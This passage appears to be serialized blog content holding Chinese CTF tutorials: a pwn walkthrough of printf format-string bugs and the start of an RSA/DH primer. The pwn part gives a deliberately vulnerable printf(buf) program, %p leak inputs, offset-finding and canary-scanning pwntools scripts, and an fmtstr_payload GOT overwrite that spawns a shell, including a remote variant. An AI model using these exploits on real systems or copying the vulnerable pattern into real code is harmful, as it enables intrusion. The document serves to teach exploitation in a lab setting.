",[26,9573,9574],{},"%p"," 时，",[26,9577,9578],{},"printf"," 会把它当格式说明符，去读取\"本不存在的参数\"——读到的是栈与寄存器上的值。这造成两类能力：",[9581,9582,9583,9591],"ul",{},[1057,9584,9585,2138,9587,9590],{},[26,9586,9574],{},[26,9588,9589],{},"%s","：任意读（泄露内存）。",[1057,9592,9593,9596],{},[26,9594,9595],{},"%n","：任意写（写入内存）。",[10,9598,9600],{"id":9599},"二漏洞程序与编译","二、漏洞程序与编译",[15,9602,9603,29],{},[26,9604,9605],{},"fmt.c",[31,9607,9609],{"className":33,"code":9608,"language":35,"meta":36,"style":36},"#include \u003Cstdio.h>\n\nint main() {\n    char buf[100];\n    setvbuf(stdout, NULL, _IONBF, 0);\n    printf(\"> \");\n    fgets(buf, sizeof(buf), stdin);\n    printf(buf);          // 漏洞\n    return 0;\n}\n",[26,9610,9611,9615,9619,9623,9628,9632,9637,9642,9647,9651],{"__ignoreMap":36},[40,9612,9613],{"class":42,"line":43},[40,9614,46],{},[40,9616,9617],{"class":42,"line":49},[40,9618,59],{"emptyLinePlaceholder":58},[40,9620,9621],{"class":42,"line":55},[40,9622,2493],{},[40,9624,9625],{"class":42,"line":62},[40,9626,9627],{},"    char buf[100];\n",[40,9629,9630],{"class":42,"line":68},[40,9631,2498],{},[40,9633,9634],{"class":42,"line":74},[40,9635,9636],{},"    printf(\"> \");\n",[40,9638,9639],{"class":42,"line":80},[40,9640,9641],{},"    fgets(buf, sizeof(buf), stdin);\n",[40,9643,9644],{"class":42,"line":86},[40,9645,9646],{},"    printf(buf);          // 漏洞\n",[40,9648,9649],{"class":42,"line":92},[40,9650,256],{},[40,9652,9653],{"class":42,"line":98},[40,9654,179],{},[31,9656,9658],{"className":267,"code":9657,"language":269,"meta":36,"style":36},"gcc -o fmt fmt.c -fno-stack-protector -no-pie\n",[26,9659,9660],{"__ignoreMap":36},[40,9661,9662,9664,9666,9669,9672,9674],{"class":42,"line":43},[40,9663,277],{"class":276},[40,9665,281],{"class":280},[40,9667,9668],{"class":284}," fmt",[40,9670,9671],{"class":284}," fmt.c",[40,9673,2544],{"class":280},[40,9675,2547],{"class":280},[10,9677,9679],{"id":9678},"三核心步骤-1p-泄露","三、核心步骤 1：%p 泄露",[15,9681,9682,9684],{},[333,9683,335],{},"：用最便宜的测试确认漏洞，并观察\"输入本身出现在参数列表里\"这一关键事实。",[15,9686,907],{},[31,9688,9690],{"className":267,"code":9689,"language":269,"meta":36,"style":36},"./fmt\n",[26,9691,9692],{"__ignoreMap":36},[40,9693,9694],{"class":42,"line":43},[40,9695,9689],{"class":276},[15,9697,1251],{},[31,9699,9702],{"className":9700,"code":9701,"language":380,"meta":36},[378],"%p.%p.%p.%p.%p.%p\n",[26,9703,9701],{"__ignoreMap":36},[15,9705,9706],{},"实际输出（本机 arm64 实测，Linux x86-64 输出形式一致、地址值不同）：",[31,9708,9711],{"className":9709,"code":9710,"language":380,"meta":36},[378],"> 0xfffffffffffffff0.0x16d8b6c48.0x40000000.0x70252e70252e7025.0x252e70252e70252e.0x100000a70\n",[26,9712,9710],{"__ignoreMap":36},[15,9714,9715,9716,9719,9720,9723],{},"出现一堆十六进制地址，漏洞确认。注意第 4、5 个值里有 ",[26,9717,9718],{},"0x70252e70","，正是 ",[26,9721,9722],{},"%p.%p"," 的 ASCII 字节——说明我们的输入本身也在参数列表里。",[15,9725,9726,29,9729,9731],{},[333,9727,9728],{},"为什么能泄露",[26,9730,9578],{}," 按格式串逐个取参数。我们没传参数，它就继续往寄存器/栈上读\"不存在的参数\"，读到的都是内存里的真实值。",[10,9733,9735],{"id":9734},"四核心步骤-2偏移定位","四、核心步骤 2：偏移定位",[15,9737,9738,9740],{},[333,9739,335],{},"：确定\"我们的输入位于第几个参数\"，这是所有精确利用的前提。",[15,9742,9743,9745,9746,9748,9749,9752,9753,9756],{},[333,9744,341],{},"：在输入开头放 4 个 ",[26,9747,2899],{},"，用 ",[26,9750,9751],{},"%N$p"," 逐个位置试探；哪个位置输出 ",[26,9754,9755],{},"0x41414141","，哪个位置就是输入起点。",[15,9758,9759],{},"要精确利用，需要知道\"我们的输入位于第几个参数\"。",[15,9761,907],{},[31,9763,9764],{"className":267,"code":9689,"language":269,"meta":36,"style":36},[26,9765,9766],{"__ignoreMap":36},[40,9767,9768],{"class":42,"line":43},[40,9769,9689],{"class":276},[15,9771,1251],{},[31,9773,9776],{"className":9774,"code":9775,"language":380,"meta":36},[378],"AAAA.%6$p\n",[26,9777,9775],{"__ignoreMap":36},[15,9779,9780],{},"预期输出（Linux x86-64 典型情况）：",[31,9782,9785],{"className":9783,"code":9784,"language":380,"meta":36},[378],"> AAAA.0x41414141\n",[26,9786,9784],{"__ignoreMap":36},[15,9788,9789,9790,9792,9793,9796],{},"出现 ",[26,9791,9755],{},"（",[26,9794,9795],{},"AAAA"," 的十六进制），说明 buf 起始位置是第 6 个参数，偏移 = 6。不同程序偏移不同（常见 6-10），确认方法就是逐个数：",[31,9798,9800],{"className":841,"code":9799,"language":843,"meta":36,"style":36},"from pwn import *\n\nfor i in range(1, 15):\n    p = process('./fmt')\n    p.recvuntil(b'> ')\n    p.sendline(f'AAAA.%{i}$p'.encode())\n    # f'AAAA.%{i}$p'：构造 \"AAAA.%1$p\"、\"AAAA.%2$p\" ... 依次试探。\n    # .encode()：字符串转成字节串才能 sendline。\n    out = p.recvall()\n    if b'0x41414141' in out:\n        # 0x41414141 就是 AAAA 的十六进制，说明第 i 个参数是输入起点。\n        print(f'offset = {i}')\n        break\n",[26,9801,9802,9806,9810,9815,9820,9825,9830,9835,9840,9845,9850,9855,9860],{"__ignoreMap":36},[40,9803,9804],{"class":42,"line":43},[40,9805,2692],{},[40,9807,9808],{"class":42,"line":49},[40,9809,59],{"emptyLinePlaceholder":58},[40,9811,9812],{"class":42,"line":55},[40,9813,9814],{},"for i in range(1, 15):\n",[40,9816,9817],{"class":42,"line":62},[40,9818,9819],{},"    p = process('./fmt')\n",[40,9821,9822],{"class":42,"line":68},[40,9823,9824],{},"    p.recvuntil(b'> ')\n",[40,9826,9827],{"class":42,"line":74},[40,9828,9829],{},"    p.sendline(f'AAAA.%{i}$p'.encode())\n",[40,9831,9832],{"class":42,"line":80},[40,9833,9834],{},"    # f'AAAA.%{i}$p'：构造 \"AAAA.%1$p\"、\"AAAA.%2$p\" ... 依次试探。\n",[40,9836,9837],{"class":42,"line":86},[40,9838,9839],{},"    # .encode()：字符串转成字节串才能 sendline。\n",[40,9841,9842],{"class":42,"line":92},[40,9843,9844],{},"    out = p.recvall()\n",[40,9846,9847],{"class":42,"line":98},[40,9848,9849],{},"    if b'0x41414141' in out:\n",[40,9851,9852],{"class":42,"line":104},[40,9853,9854],{},"        # 0x41414141 就是 AAAA 的十六进制，说明第 i 个参数是输入起点。\n",[40,9856,9857],{"class":42,"line":110},[40,9858,9859],{},"        print(f'offset = {i}')\n",[40,9861,9862],{"class":42,"line":116},[40,9863,3646],{},[15,9865,423,9866,307],{},[26,9867,9868],{},"offset = 6",[15,9870,9871,9872,4814,9875,9877,9878,9880,9881,9884,9885,9888,9889,9884,9892,1753,9895,9898],{},"为什么从 6 开始：x86-64 调用约定前 6 个整数参数用寄存器（",[26,9873,9874],{},"rdi, rsi, rdx, rcx, r8, r9",[26,9876,9578],{}," 自己占 ",[26,9879,8985],{},"，所以 ",[26,9882,9883],{},"%1$p"," 到 ",[26,9886,9887],{},"%5$p"," 对应 ",[26,9890,9891],{},"rsi",[26,9893,9894],{},"r9",[26,9896,9897],{},"%6$p"," 开始读栈。",[10,9900,9902],{"id":9901},"五核心步骤-3泄露-canary-与-libc","五、核心步骤 3：泄露 canary 与 libc",[15,9904,9905,9907],{},[333,9906,335],{},"：把栈上的关键保护值（canary）与库地址（libc）泄露出来，供后续利用。",[15,9909,9910,9912,9913,9916,9917,9920],{},[333,9911,341],{},"：不同数据在栈上有固定特征——canary 以 ",[26,9914,9915],{},"00"," 结尾，libc 地址以 ",[26,9918,9919],{},"0x7f"," 开头。扫描一段偏移后按特征识别。",[15,9922,1824,9923,9884,9925,9928],{},[26,9924,9897],{},[26,9926,9927],{},"%40$p"," 全部打出来，识别特征值：",[955,9930,9931,9941],{},[958,9932,9933],{},[961,9934,9935,9938],{},[964,9936,9937],{},"值特征",[964,9939,9940],{},"内容",[974,9942,9943,9954,9965,9975],{},[961,9944,9945,9951],{},[979,9946,9947,9948,9950],{},"以 ",[26,9949,9915],{}," 结尾的随机值",[979,9952,9953],{},"canary",[961,9955,9956,9962],{},[979,9957,9958,9961],{},[26,9959,9960],{},"0x7fff"," 开头",[979,9963,9964],{},"栈地址",[961,9966,9967,9972],{},[979,9968,9969,9961],{},[26,9970,9971],{},"0x55/0x56",[979,9973,9974],{},"程序代码地址（PIE 基址相关）",[961,9976,9977,9981],{},[979,9978,9979,9961],{},[26,9980,9919],{},[979,9982,9983],{},"libc 地址",[31,9985,9987],{"className":841,"code":9986,"language":843,"meta":36,"style":36},"payload = b'.'.join(f'%{i}$p'.encode() for i in range(6, 40))\n# 生成 \"%6$p.%7$p....%39$p\"，一次打出一串值。\np.sendline(payload)\nout = p.recvall().decode().split('.')\n# 按点号切分，得到每个位置的值。\n\nfor i, v in enumerate(out):\n    if v.endswith('00') and len(v) == 18:\n        # 16 位十六进制 + 结尾 00：符合 canary 的典型形态。\n        print(f'possible canary at {i+6}: {v}')\n",[26,9988,9989,9994,9999,10003,10008,10013,10017,10022,10027,10032],{"__ignoreMap":36},[40,9990,9991],{"class":42,"line":43},[40,9992,9993],{},"payload = b'.'.join(f'%{i}$p'.encode() for i in range(6, 40))\n",[40,9995,9996],{"class":42,"line":49},[40,9997,9998],{},"# 生成 \"%6$p.%7$p....%39$p\"，一次打出一串值。\n",[40,10000,10001],{"class":42,"line":55},[40,10002,2885],{},[40,10004,10005],{"class":42,"line":62},[40,10006,10007],{},"out = p.recvall().decode().split('.')\n",[40,10009,10010],{"class":42,"line":68},[40,10011,10012],{},"# 按点号切分，得到每个位置的值。\n",[40,10014,10015],{"class":42,"line":74},[40,10016,59],{"emptyLinePlaceholder":58},[40,10018,10019],{"class":42,"line":80},[40,10020,10021],{},"for i, v in enumerate(out):\n",[40,10023,10024],{"class":42,"line":86},[40,10025,10026],{},"    if v.endswith('00') and len(v) == 18:\n",[40,10028,10029],{"class":42,"line":92},[40,10030,10031],{},"        # 16 位十六进制 + 结尾 00：符合 canary 的典型形态。\n",[40,10033,10034],{"class":42,"line":98},[40,10035,10036],{},"        print(f'possible canary at {i+6}: {v}')\n",[15,10038,10039],{},"泄露 libc 地址后：",[31,10041,10043],{"className":841,"code":10042,"language":843,"meta":36,"style":36},"libc.address = leaked_libc_addr - libc.symbols['puts']\n",[26,10044,10045],{"__ignoreMap":36},[40,10046,10047],{"class":42,"line":43},[40,10048,10042],{},[15,10050,10051],{},"与 ret2libc 的\"先泄露再计算\"思路完全一致。",[10,10053,10055],{"id":10054},"六核心步骤-4n-任意写","六、核心步骤 4：%n 任意写",[15,10057,10058,10060],{},[333,10059,335],{},"：理解\"写内存\"的原语，为覆盖 GOT 做准备。",[15,10062,10063,29,10065,10067,10068,10071,10072,10075],{},[333,10064,341],{},[26,10066,9595],{}," 把\"已打印字符数\"写入参数指向的地址。先用 ",[26,10069,10070],{},"%100c"," 精确控制打印量，再用 ",[26,10073,10074],{},"%N$n"," 写到目标地址。",[15,10077,10078,10080],{},[26,10079,9595],{}," 把\"当前已经打印的字符数\"写入参数指向的地址：",[31,10082,10085],{"className":10083,"code":10084,"language":380,"meta":36},[378],"%100c%7$n\n",[26,10086,10084],{"__ignoreMap":36},[15,10088,8913],{},[1054,10090,10091,10096],{},[1057,10092,10093,10095],{},[26,10094,10070],{}," 打印 100 个填充字符，已打印数变成 100。",[1057,10097,10098,10101],{},[26,10099,10100],{},"%7$n"," 把 100 写入第 7 个参数指向的地址。",[15,10103,10104],{},"所以如果第 7 个参数恰好是我们输入里的一个地址，就能往那个地址写 100。写入宽度控制：",[955,10106,10107,10117],{},[958,10108,10109],{},[961,10110,10111,10114],{},[964,10112,10113],{},"说明符",[964,10115,10116],{},"写入字节数",[974,10118,10119,10128,10138],{},[961,10120,10121,10125],{},[979,10122,10123],{},[26,10124,9595],{},[979,10126,10127],{},"4 字节",[961,10129,10130,10135],{},[979,10131,10132],{},[26,10133,10134],{},"%hn",[979,10136,10137],{},"2 字节",[961,10139,10140,10145],{},[979,10141,10142],{},[26,10143,10144],{},"%hhn",[979,10146,10147],{},"1 字节",[10,10149,10151],{"id":10150},"七核心步骤-5fmtstr_payload-覆盖-got","七、核心步骤 5：fmtstr_payload 覆盖 GOT",[15,10153,10154,10156,10157,10159,10160,10162],{},[333,10155,335],{},"：把程序即将调用的 ",[26,10158,9333],{}," 改成我们的 ",[26,10161,2658],{},"，实现控制流劫持。",[15,10164,10165,29,10167,10170],{},[333,10166,341],{},[26,10168,10169],{},"puts@got"," 存的是 puts 真实地址；程序每次调 puts 都先查 GOT。把 GOT 内容改成 win 地址，下一次调用就变成执行 win。验证方式：发送 payload 后看是否进入 shell。",[15,10172,10173,10174,29],{},"目标程序 ",[26,10175,10176],{},"fmt2.c",[31,10178,10180],{"className":33,"code":10179,"language":35,"meta":36,"style":36},"#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\nvoid win() {\n    system(\"/bin/sh\");\n}\n\nint main() {\n    char buf[100];\n    setvbuf(stdout, NULL, _IONBF, 0);\n    printf(\"> \");\n    fgets(buf, sizeof(buf), stdin);\n    printf(buf);          // 漏洞\n    puts(\"Done\");         // 触发 puts@got → win\n    return 0;\n}\n",[26,10181,10182,10186,10190,10194,10198,10202,10206,10210,10214,10218,10222,10226,10230,10234,10239,10243],{"__ignoreMap":36},[40,10183,10184],{"class":42,"line":43},[40,10185,46],{},[40,10187,10188],{"class":42,"line":49},[40,10189,2443],{},[40,10191,10192],{"class":42,"line":55},[40,10193,59],{"emptyLinePlaceholder":58},[40,10195,10196],{"class":42,"line":62},[40,10197,2452],{},[40,10199,10200],{"class":42,"line":68},[40,10201,2457],{},[40,10203,10204],{"class":42,"line":74},[40,10205,179],{},[40,10207,10208],{"class":42,"line":80},[40,10209,59],{"emptyLinePlaceholder":58},[40,10211,10212],{"class":42,"line":86},[40,10213,2493],{},[40,10215,10216],{"class":42,"line":92},[40,10217,9627],{},[40,10219,10220],{"class":42,"line":98},[40,10221,2498],{},[40,10223,10224],{"class":42,"line":104},[40,10225,9636],{},[40,10227,10228],{"class":42,"line":110},[40,10229,9641],{},[40,10231,10232],{"class":42,"line":116},[40,10233,9646],{},[40,10235,10236],{"class":42,"line":122},[40,10237,10238],{},"    puts(\"Done\");         // 触发 puts@got → win\n",[40,10240,10241],{"class":42,"line":128},[40,10242,256],{},[40,10244,10245],{"class":42,"line":134},[40,10246,179],{},[31,10248,10250],{"className":267,"code":10249,"language":269,"meta":36,"style":36},"gcc -o fmt2 fmt2.c -fno-stack-protector -no-pie\npwn checksec ./fmt2     # 需为 Partial RELRO，GOT 可写\n",[26,10251,10252,10268],{"__ignoreMap":36},[40,10253,10254,10256,10258,10261,10264,10266],{"class":42,"line":43},[40,10255,277],{"class":276},[40,10257,281],{"class":280},[40,10259,10260],{"class":284}," fmt2",[40,10262,10263],{"class":284}," fmt2.c",[40,10265,2544],{"class":280},[40,10267,2547],{"class":280},[40,10269,10270,10272,10274,10277],{"class":42,"line":49},[40,10271,2584],{"class":276},[40,10273,2587],{"class":284},[40,10275,10276],{"class":284}," ./fmt2",[40,10278,10279],{"class":2552},"     # 需为 Partial RELRO，GOT 可写\n",[15,10281,10282],{},"利用脚本：",[31,10284,10286],{"className":841,"code":10285,"language":843,"meta":36,"style":36},"from pwn import *\n\ncontext.binary = elf = ELF('./fmt2')\n# context.binary 让 pwntools 自动识别架构与位数。\np = process('./fmt2')\n\noffset = 6\npayload = fmtstr_payload(offset, {elf.got['puts']: elf.symbols['win']})\n# fmtstr_payload(offset, writes)：\n#   第一个参数 offset：输入在参数列表中的位置；\n#   第二个参数是字典 {目标地址: 要写入的值}。\n# 函数内部自动完成：把 win 地址拆成两个 2 字节，\n# 用 %c 控制打印量、%hn 分别写入 puts@got 与 puts@got+2。\n\np.sendline(payload)\np.interactive()\n",[26,10287,10288,10292,10296,10301,10306,10311,10315,10320,10325,10330,10335,10340,10345,10350,10354,10358],{"__ignoreMap":36},[40,10289,10290],{"class":42,"line":43},[40,10291,2692],{},[40,10293,10294],{"class":42,"line":49},[40,10295,59],{"emptyLinePlaceholder":58},[40,10297,10298],{"class":42,"line":55},[40,10299,10300],{},"context.binary = elf = ELF('./fmt2')\n",[40,10302,10303],{"class":42,"line":62},[40,10304,10305],{},"# context.binary 让 pwntools 自动识别架构与位数。\n",[40,10307,10308],{"class":42,"line":68},[40,10309,10310],{},"p = process('./fmt2')\n",[40,10312,10313],{"class":42,"line":74},[40,10314,59],{"emptyLinePlaceholder":58},[40,10316,10317],{"class":42,"line":80},[40,10318,10319],{},"offset = 6\n",[40,10321,10322],{"class":42,"line":86},[40,10323,10324],{},"payload = fmtstr_payload(offset, {elf.got['puts']: elf.symbols['win']})\n",[40,10326,10327],{"class":42,"line":92},[40,10328,10329],{},"# fmtstr_payload(offset, writes)：\n",[40,10331,10332],{"class":42,"line":98},[40,10333,10334],{},"#   第一个参数 offset：输入在参数列表中的位置；\n",[40,10336,10337],{"class":42,"line":104},[40,10338,10339],{},"#   第二个参数是字典 {目标地址: 要写入的值}。\n",[40,10341,10342],{"class":42,"line":110},[40,10343,10344],{},"# 函数内部自动完成：把 win 地址拆成两个 2 字节，\n",[40,10346,10347],{"class":42,"line":116},[40,10348,10349],{},"# 用 %c 控制打印量、%hn 分别写入 puts@got 与 puts@got+2。\n",[40,10351,10352],{"class":42,"line":122},[40,10353,59],{"emptyLinePlaceholder":58},[40,10355,10356],{"class":42,"line":128},[40,10357,2885],{},[40,10359,10360],{"class":42,"line":134},[40,10361,2973],{},[15,10363,10364,10367],{},[26,10365,10366],{},"fmtstr_payload"," 自动完成：",[1054,10369,10370,10375,10382,10391],{},[1057,10371,1824,10372,10374],{},[26,10373,2658],{}," 地址拆成低 2 字节和高 2 字节。",[1057,10376,10377,10378,10381],{},"生成 ",[26,10379,10380],{},"%c"," 控制打印量。",[1057,10383,10384,10385,1013,10387,10390],{},"把两个目标地址（",[26,10386,10169],{},[26,10388,10389],{},"puts@got+2","）放到对应参数位置。",[1057,10392,10393,10394,10396],{},"用 ",[26,10395,10134],{}," 分别写入。",[15,10398,10399,10400,10403,10404,10406],{},"预期结果：程序执行 ",[26,10401,10402],{},"puts(\"Done\")"," 时实际调用 ",[26,10405,2998],{},"，进入 shell。",[10,10408,3007],{"id":3006},[955,10410,10411,10421],{},[958,10412,10413],{},[961,10414,10415,10417,10419],{},[964,10416,966],{},[964,10418,3018],{},[964,10420,3021],{},[974,10422,10423,10441,10453],{},[961,10424,10425,10427,10439],{},[979,10426,3028],{},[979,10428,10429,1013,10431,1013,10434,2138,10436],{},[26,10430,10366],{},[26,10432,10433],{},"FmtStr",[26,10435,3046],{},[26,10437,10438],{},"recvuntil",[979,10440,3050],{},[961,10442,10443,10445,10448],{},[979,10444,3055],{},[979,10446,10447],{},"看 RELRO、Canary、PIE",[979,10449,10450],{},[26,10451,10452],{},"pwn checksec ./fmt2",[961,10454,10455,10457,10460],{},[979,10456,9423],{},[979,10458,10459],{},"断点、看栈、验证参数位置",[979,10461,10462,1013,10465],{},[26,10463,10464],{},"break main",[26,10466,3079],{},[10,10468,10470],{"id":10469},"九小-ctf-实战","九、小 CTF 实战",[15,10472,10473,10474,10477],{},"题目：远程运行 ",[26,10475,10476],{},"fmt2","（Partial RELRO、No PIE）。",[15,10479,10480,10482,10483,10486],{},[333,10481,341],{},"：与本地脚本唯一区别是 ",[26,10484,10485],{},"remote()"," 连远程；若远程提示与本地不同，先本地确认 offset 再改。",[31,10488,10490],{"className":841,"code":10489,"language":843,"meta":36,"style":36},"from pwn import *\n\ncontext.binary = elf = ELF('./fmt2')\np = remote('1.2.3.4', 10002)\n\npayload = fmtstr_payload(6, {elf.got['puts']: elf.symbols['win']})\np.sendline(payload)\np.sendline(b'cat flag')\np.interactive()\n",[26,10491,10492,10496,10500,10504,10509,10513,10518,10522,10526],{"__ignoreMap":36},[40,10493,10494],{"class":42,"line":43},[40,10495,2692],{},[40,10497,10498],{"class":42,"line":49},[40,10499,59],{"emptyLinePlaceholder":58},[40,10501,10502],{"class":42,"line":55},[40,10503,10300],{},[40,10505,10506],{"class":42,"line":62},[40,10507,10508],{},"p = remote('1.2.3.4', 10002)\n",[40,10510,10511],{"class":42,"line":68},[40,10512,59],{"emptyLinePlaceholder":58},[40,10514,10515],{"class":42,"line":74},[40,10516,10517],{},"payload = fmtstr_payload(6, {elf.got['puts']: elf.symbols['win']})\n",[40,10519,10520],{"class":42,"line":80},[40,10521,2885],{},[40,10523,10524],{"class":42,"line":86},[40,10525,3178],{},[40,10527,10528],{"class":42,"line":92},[40,10529,2973],{},[15,10531,423],{},[31,10533,10536],{"className":10534,"code":10535,"language":380,"meta":36},[378],"flag{format_string}\n",[26,10537,10535],{"__ignoreMap":36},[10,10539,3199],{"id":3198},[15,10541,10542,10543,2138,10545,10547,10548,10550],{},"格式化字符串提供两种原语：",[26,10544,9574],{},[26,10546,9589],{}," 任意读，",[26,10549,9595],{}," 系列任意写。掌握偏移定位后，既可以泄露 canary/libc 辅助栈溢出，也可以直接覆盖 GOT 或函数指针拿 shell。",[1098,10552,10553],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}",{"title":36,"searchDepth":49,"depth":49,"links":10555},[10556,10557,10558,10559,10560,10561,10562,10563,10564,10565],{"id":9545,"depth":55,"text":9546},{"id":9599,"depth":55,"text":9600},{"id":9678,"depth":55,"text":9679},{"id":9734,"depth":55,"text":9735},{"id":9901,"depth":55,"text":9902},{"id":10054,"depth":55,"text":10055},{"id":10150,"depth":55,"text":10151},{"id":3006,"depth":55,"text":3007},{"id":10469,"depth":55,"text":10470},{"id":3198,"depth":55,"text":3199},"格式化字符串漏洞：printf(buf) 漏洞原理、%p 泄露与偏移定位、%n 任意写原理、fmtstr_payload 覆盖 GOT。",{"date":1115,"image":4229,"alt":10568,"tags":10569,"published":58},"格式化字符串深入实战",[1119,2584,10570,1122],"格式化字符串","/blogs/ctf-pwn-format-string-deep-dive",{"title":9540,"description":10566},"blogs/18. ctf-pwn-format-string-deep-dive","3BARIEfzO4zPWgXrmyFfLGY_TycY4NGsa0XAo3Gs6Fo",{"id":10576,"title":10577,"body":10578,"description":11545,"extension":1113,"meta":11546,"navigation":58,"ogImage":1116,"path":11550,"seo":11551,"stem":11552,"__hash__":11553},"content/blogs/19. ctf-crypto-rsa-deep-dive.md","RSA 深入实战：原理、小 n 分解与共模攻击",{"type":7,"value":10579,"toc":11533},[10580,10584,10587,10590,10613,10626,10628,10644,10648,10654,10657,10672,10676,10681,10686,10775,10777,10783,10790,10794,10799,10804,10808,10827,10829,10835,10841,10845,10850,10935,10937,10943,10952,10956,10964,10993,10997,11001,11011,11017,11021,11026,11031,11038,11044,11047,11053,11057,11220,11222,11228,11232,11299,11301,11362,11371,11373,11375,11381,11384,11388,11393,11407,11409,11415,11419,11428,11478,11480,11486,11490,11522,11524,11531],[10,10581,10583],{"id":10582},"一现实背景dh-与公钥密码学","一、现实背景：DH 与公钥密码学",[15,10585,10586],{},"HTTPS（TLS）流程中：先用 DH 协商对称密钥，再用 RSA/ECDSA 证书认证身份。DH 解决\"公开信道建立共享密钥\"，RSA 解决\"身份认证与加密\"。",[15,10588,10589],{},"DH 最小实现（见密码学全景篇）：",[31,10591,10593],{"className":841,"code":10592,"language":843,"meta":36,"style":36},"p, g = 0xffffffffffffffc5, 2\na, b = 1234567, 7654321\nA, B = pow(g, a, p), pow(g, b, p)\nassert pow(B, a, p) == pow(A, b, p)   # 双方共享密钥一致\n",[26,10594,10595,10599,10603,10608],{"__ignoreMap":36},[40,10596,10597],{"class":42,"line":43},[40,10598,3865],{},[40,10600,10601],{"class":42,"line":49},[40,10602,3880],{},[40,10604,10605],{"class":42,"line":55},[40,10606,10607],{},"A, B = pow(g, a, p), pow(g, b, p)\n",[40,10609,10610],{"class":42,"line":62},[40,10611,10612],{},"assert pow(B, a, p) == pow(A, b, p)   # 双方共享密钥一致\n",[15,10614,10615,10616,10619,10620,1013,10622,10625],{},"RSA 的安全基础是：已知 ",[26,10617,10618],{},"n"," 求 ",[26,10621,15],{},[26,10623,10624],{},"q","（分解）在计算上不可行。CTF 题把参数做小或做错，让分解或绕过分解成为可能。",[10,10627,1196],{"id":1195},[31,10629,10630],{"className":267,"code":3452,"language":269,"meta":36,"style":36},[26,10631,10632],{"__ignoreMap":36},[40,10633,10634,10636,10638,10640,10642],{"class":42,"line":43},[40,10635,2414],{"class":276},[40,10637,645],{"class":284},[40,10639,3463],{"class":284},[40,10641,3466],{"class":284},[40,10643,3469],{"class":284},[10,10645,10647],{"id":10646},"三核心知识rsa-公式","三、核心知识：RSA 公式",[31,10649,10652],{"className":10650,"code":10651,"language":380,"meta":36},[378],"n = p × q\nφ(n) = (p-1)(q-1)\ne × d ≡ 1 (mod φ(n))        # d 是 e 的模逆元\n加密：c = m^e mod n\n解密：m = c^d mod n\n",[26,10653,10651],{"__ignoreMap":36},[15,10655,10656],{},"三个必须会用的 Python 运算：",[31,10658,10660],{"className":841,"code":10659,"language":843,"meta":36,"style":36},"pow(3, 4, 7)        # 快速幂取模 = 4\npow(e, -1, phi)     # 求 e 在模 phi 下的逆元\n",[26,10661,10662,10667],{"__ignoreMap":36},[40,10663,10664],{"class":42,"line":43},[40,10665,10666],{},"pow(3, 4, 7)        # 快速幂取模 = 4\n",[40,10668,10669],{"class":42,"line":49},[40,10670,10671],{},"pow(e, -1, phi)     # 求 e 在模 phi 下的逆元\n",[10,10673,10675],{"id":10674},"四核心步骤-1手算验证","四、核心步骤 1：手算验证",[15,10677,10678,10680],{},[333,10679,335],{},"：用最小参数亲手跑通 RSA 的生成与加解密，确认公式理解正确。",[15,10682,10683,10685],{},[333,10684,341],{},"：先算 n 与 φ(n)，再求 d（e 的模逆元），最后验证 pow(c,d,n) 能还原 m。这四步是后面所有攻击的基础。",[31,10687,10689],{"className":841,"code":10688,"language":843,"meta":36,"style":36},"p, q, e = 61, 53, 17\nn = p * q\n# n = 3233，公钥模数。\nphi = (p - 1) * (q - 1)\n# φ(n) = 60 × 52 = 3120，欧拉函数值。\nd = pow(e, -1, phi)\n# pow(e, -1, phi)：求 e 在模 phi 下的乘法逆元，即私钥 d = 2753。\n\nm = 65\nc = pow(m, e, n)\n# pow(m, e, n)：快速幂取模，即 m^e mod n，加密得 c = 2790。\nprint(\"n =\", n)\nprint(\"phi =\", phi)\nprint(\"d =\", d)\nprint(\"c =\", c)\nprint(\"解密 =\", pow(c, d, n))\n# pow(c, d, n)：用私钥解密，应还原 65，验证公式正确。\n",[26,10690,10691,10696,10701,10706,10711,10716,10721,10726,10730,10735,10740,10745,10750,10755,10760,10765,10770],{"__ignoreMap":36},[40,10692,10693],{"class":42,"line":43},[40,10694,10695],{},"p, q, e = 61, 53, 17\n",[40,10697,10698],{"class":42,"line":49},[40,10699,10700],{},"n = p * q\n",[40,10702,10703],{"class":42,"line":55},[40,10704,10705],{},"# n = 3233，公钥模数。\n",[40,10707,10708],{"class":42,"line":62},[40,10709,10710],{},"phi = (p - 1) * (q - 1)\n",[40,10712,10713],{"class":42,"line":68},[40,10714,10715],{},"# φ(n) = 60 × 52 = 3120，欧拉函数值。\n",[40,10717,10718],{"class":42,"line":74},[40,10719,10720],{},"d = pow(e, -1, phi)\n",[40,10722,10723],{"class":42,"line":80},[40,10724,10725],{},"# pow(e, -1, phi)：求 e 在模 phi 下的乘法逆元，即私钥 d = 2753。\n",[40,10727,10728],{"class":42,"line":86},[40,10729,59],{"emptyLinePlaceholder":58},[40,10731,10732],{"class":42,"line":92},[40,10733,10734],{},"m = 65\n",[40,10736,10737],{"class":42,"line":98},[40,10738,10739],{},"c = pow(m, e, n)\n",[40,10741,10742],{"class":42,"line":104},[40,10743,10744],{},"# pow(m, e, n)：快速幂取模，即 m^e mod n，加密得 c = 2790。\n",[40,10746,10747],{"class":42,"line":110},[40,10748,10749],{},"print(\"n =\", n)\n",[40,10751,10752],{"class":42,"line":116},[40,10753,10754],{},"print(\"phi =\", phi)\n",[40,10756,10757],{"class":42,"line":122},[40,10758,10759],{},"print(\"d =\", d)\n",[40,10761,10762],{"class":42,"line":128},[40,10763,10764],{},"print(\"c =\", c)\n",[40,10766,10767],{"class":42,"line":134},[40,10768,10769],{},"print(\"解密 =\", pow(c, d, n))\n",[40,10771,10772],{"class":42,"line":140},[40,10773,10774],{},"# pow(c, d, n)：用私钥解密，应还原 65，验证公式正确。\n",[15,10776,923],{},[31,10778,10781],{"className":10779,"code":10780,"language":380,"meta":36},[378],"n = 3233\nphi = 3120\nd = 2753\nc = 2790\n解密 = 